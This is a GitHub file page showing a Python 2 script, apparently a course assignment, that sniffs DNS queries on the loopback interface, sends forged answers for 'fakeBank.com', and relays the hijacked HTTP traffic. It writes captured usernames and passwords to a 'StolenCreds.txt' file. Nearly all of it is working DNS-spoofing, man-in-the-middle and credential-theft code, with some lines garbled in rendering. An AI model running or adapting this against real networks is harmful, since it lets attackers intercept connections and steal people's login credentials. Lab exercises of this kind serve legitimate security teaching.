-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtest.txt
More file actions
140 lines (123 loc) · 3.94 KB
/
test.txt
File metadata and controls
140 lines (123 loc) · 3.94 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
import os
import argparse
import socket
from scapy.all import *
import sys
conf.L3socket = L3RawSocket
WEB_PORT = 8000
HOSTNAME = "fakeBank.com"
def resolveHostname(hostname):
# IP address of HOSTNAME. Used to forward tcp connection.
# Normally obtained via DNS lookup.
return "127.1.1.1"
def log_credentials(username, password):
# Write stolen credentials out to file
# Do not change this
with open("lib/StolenCreds.txt","wb") as fd:
fd.write("Stolen credentials: username="+username+" password="+password)
def getQueryDict(query):
# create a query dictionary from a query
try:
query1 = query.split("\n")[4]
print query1
except:
return None
try:
query = query1.replace("'","")
query_dict = dict(q.split("=") for q in query.split("&"))
except ValueError:
query_dict = None
print "ok"
return query_dict
def check_credentials(client_data):
query_dict = getQueryDict(client_data)
if query_dict:
log_credentials(query_dict.get("username"), query_dict.get("password"))
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from urlparse import urlparse
def sendAndReceive_HTTP1_0(dest_ip, dest_port, request):
# Connect to (dest_ip,dest_port), send request, and return response
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((dest_ip,dest_port))
s.send(request)
resp = s.recv(50000)
s.close()
return resp
except:
print("Failed to open TCP socket")
exit()
class RequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0
client_data = self.rfile.read(length)
if self.path=="/post_login":
check_credentials(client_data)
elif self.path =="/post_logout":
self.send_response(200)
self.send_header("Content-type", "text/html")
self.wfile.close()
else:
self.send_response(401)
def do_GET(self):
pass
do_PUT = do_POST
do_GET = do_POST
do_DELETE = do_GET
def handle_tcp_forwarding(client_socket, client_ip, hostname):
# TODO: Continuously intercept new connections from the client
# and initiate a connection with the host in order to forward data
print "Start https"
port = 8000
source_ip = "127.0.0.3"
print('Listening on localhost:%s' % port)
#server = HTTPServer((source_ip, port), RequestHandler)
#server.serve_forever()
while True:
conn, addr = client_socket.accept()
data = conn.recv(50000)
dest_ip = resolveHostname(HOSTNAME)
dest_port = 8000
print data
check_credentials(data)
request = data
resp = sendAndReceive_HTTP1_0(dest_ip, dest_port, request)
conn.sendall(resp)
if data.find("POST /post_logout") != -1:
print "exit"
conn.close()
sys.exit(0)
def dns_callback(packet, extra_args):
answer = IP(src = packet[IP].dst, dst = packet[IP].src) /
UDP(sport = packet[UDP].dport, dport = packet[UDP].sport) /
DNS(id = packet[DNS].id, qr = 1, tc = 0, aa = 1, qd = packet[DNS].qd, an=DNSRR(rdata=extra_args[0], rrname="fakeBank.com", ttl=10))
send(answer)
handle_tcp_forwarding(extra_args[1], None, "fakeBank.com")
def sniff_and_spoof(source_ip):
print "salam"
def querysniff(pkt, source, socket):
print "salam azizam"
if IP in pkt and UDP in pkt and DNS in pkt :
dns_callback(pkt, [source, socket])
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("127.0.0.3",8000))
sock.listen(1)
sniff(iface = "lo", filter = "port 53", prn = lambda packet: querysniff(packet, source_ip, sock), store = 0)
def main():
parser = argparse.ArgumentParser(description='Attacker who spoofs dns packet and hijacks connection')
parser.add_argument('--source_ip',nargs='?', const=1, default="127.0.0.3", help='ip of the attacker')
args = parser.parse_args()
client_socket = None
client_ip = None
hostname = None
sniff_and_spoof(args.source_ip)
if name=="main":
# Change working directory to script's dir
# Do not change this
abspath = os.path.abspath(file)
dname = os.path.dirname(abspath)
print dname
os.chdir(dname)
main()